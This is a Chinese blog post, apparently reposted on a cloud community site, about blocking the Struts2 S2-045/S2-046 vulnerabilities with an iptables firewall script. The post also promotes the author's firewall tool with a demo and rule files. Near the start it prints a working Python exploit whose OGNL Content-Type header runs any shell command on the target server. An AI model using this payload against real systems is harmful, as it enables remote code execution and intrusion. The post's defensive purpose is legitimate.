专栏首页NetkillerStruts2 S2-046, S2-045 Firewall(漏洞防火墙)

Struts2 S2-046, S2-045 Firewall(漏洞防火墙)

开发中遇到一个问题,Struts2 已经升级到2.3.32但是故障依旧,绞尽脑汁找不出原因。此路不同另寻它路,我便想从运维角度暂时解决这个问题,给开发留出足够的时间解决故障。

于是我想到了iptables 防火墙并下来的这个脚本。

https://github.com/netkiller/firewall/blob/master/shell/struts2.sh

这是一个针对 Struts2 S2-046, S2-045漏洞封杀的防火墙脚本。

首先分析 S2-046, S2-045 漏洞攻击的原理。测试代码如下:

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
   try:
      request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
      response = urllib2.urlopen(request)
      print response.read()
   except Exception,e:
      print e

poc()

攻击原理是想Struts Action Post 注入数据,好了知道这个原来就可以实现封锁了(在不改动一行代码的情况下)

- - - - - - - - -

顺便接受一下我开发的firewall,我用它替代CentOS 7 firewalld。

Install

地址 https://github.com/netkiller/firewall
安装 bash install.sh

防火墙规则连采用面向对象方式,可以加入循环,条件判断等等....

Demo

$ sudo /etc/init.d/firewall 
Usage: /etc/init.d/firewall {start|stop|status|restart}

$ sudo /etc/init.d/firewall start

$ sudo /etc/init.d/firewall status
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
   44  6163 ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
	0     0 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0           
	0     0 ACCEPT     all  --  lo     *       0.0.0.0/0            0.0.0.0/0           
	0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:22 state NEW
	0     0 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            multiport dports 443,80 state NEW
	2  2884 REJECT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            reject-with icmp-host-prohibited

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         
	0     0 REJECT     all  --  *      *       0.0.0.0/0            0.0.0.0/0            reject-with icmp-host-prohibited

Chain OUTPUT (policy ACCEPT 45 packets, 6893 bytes)
 pkts bytes target     prot opt in     out     source               destination         
	0     0 REJECT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            multiport dports 20,21 reject-with icmp-port-unreachable

$ sudo /etc/init.d/firewall stop

Rule file

$ sudo cat /srv/firewall/libexec/www.py 
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from firewall import * 

######################################## 
# Web Application
######################################## 

www = Firewall()
www.flush()
www.policy(www.INPUT,www.ACCEPT)
www.policy(www.OUTPUT,www.ACCEPT)
www.policy(www.FORWARD,www.ACCEPT)
www.input().state(('RELATED','ESTABLISHED')).accept()
www.input().protocol('icmp').accept()
www.input().interface('-i','lo').accept()
www.input().protocol('tcp').dport('22').state('NEW').accept()
www.input().protocol('tcp').dport(('443','80')).state('NEW').accept()
www.output().protocol('tcp').dport(('20','21')).reject()

#www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP',2,20).drop()
#www.input().protocol('tcp').inbound('eth0').dport('80').connlimit(30).drop()
#www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP').accept()
# DDOS
#www.input().proto('tcp').dport("80").string('XXDD0S').drop()
www.input().reject('--reject-with icmp-host-prohibited')
www.forward().reject('--reject-with icmp-host-prohibited')

def start():
	www.start()
def stop():
	www.stop()
def restart():
	www.stop()
	www.start()
def show():
	www.show()
def status():
	www.status()
def main():
	show()
	return( 0 )

if __name__ == '__main__':
	main()

Testing API

#!/usr/bin/python3
from firewall import Firewall    
single = Firewall()
single.policy(single.INPUT,single.DROP)
single.policy(single.OUTPUT,single.ACCEPT)
single.policy(single.FORWARD,single.DROP)
single.input().protocol('icmp').drop()
single.input().protocol('tcp').dport(('3389','5900')).accept()
single.input().protocol('tcp').dport(('137','138','139','145')).accept()
single.show()
#single.run()
#single.list()

本文分享自微信公众号 - Netkiller(netkiller-ebook),作者:景峰

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-04-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 运维必备技能 WEB 日志分析

    文章节选自《Netkiller Monitoring 手札》 20.2. Web 20.2.1. Apache Log 1、查看当天有多少个IP访问: awk ...

    netkiller old
  • PHP 安全与性能

    PHP 安全与性能 摘要 我的系列文档 Netkiller Architect 手札Netkiller Developer 手札Netkiller PHP 手札...

    netkiller old
  • PHP 安全与性能

    PHP 安全与性能 摘要 我的系列文档 Netkiller Architect 手札Netkiller Developer 手札Netkiller PHP 手札...

    netkiller old
  • 超好用的百度网盘下载工具PanDownload

    PanDownload是一款坚持以用户体验为中心,畅快淋漓的下载为理念而打造的下载工具。 从2017年2月9日首个版本推出,时至今日已经一年七个月了,首先感谢...

    爱游博客
  • 【HDU 4311】Meeting point-1(前缀和求曼哈顿距离和)

    给定n个点的坐标,找一个点,到其他点的曼哈顿距离之和最小。 n可以是100000。 大概要一个O(nlogn)的算法。 算曼哈顿距离可以把x和y分开计算排好序后...

    饶文津
  • Human Interface Guidelines — Authentication

    霖酱
  • 【HDU 4408】Minimum Spanning Tree(最小生成树计数)

    XXX is very interested in algorithm. After learning the Prim algorithm and Krusk...

    饶文津
  • JavaScript: 2015年度回顾(译文)

    JavaScript刚刚经历了标志性的一年。除了在2015年5月达到了20岁“高龄”,它产生了大量新鲜技术,各种各样的项目,吸引了越了越多人的兴趣,并且这种成长...

    IMWeb前端团队
  • JAVA实现多线程入门

    1:程序员可以在程序中执行多个线程,每一个线程完成一个功能,并于其他线程并发执行,这种机制被称为多线程 2:实现线程的两种方法是,分别是继承java.lang...

    别先生
  • JavaScript: 2015年度回顾(译文)

    本文作者:IMWeb coolriver 原文出处:IMWeb社区 未经同意,禁止转载 本文为 《 2015 in review》 一文的中文译文,...

    IMWeb前端团队

扫码关注云+社区

领取腾讯云代金券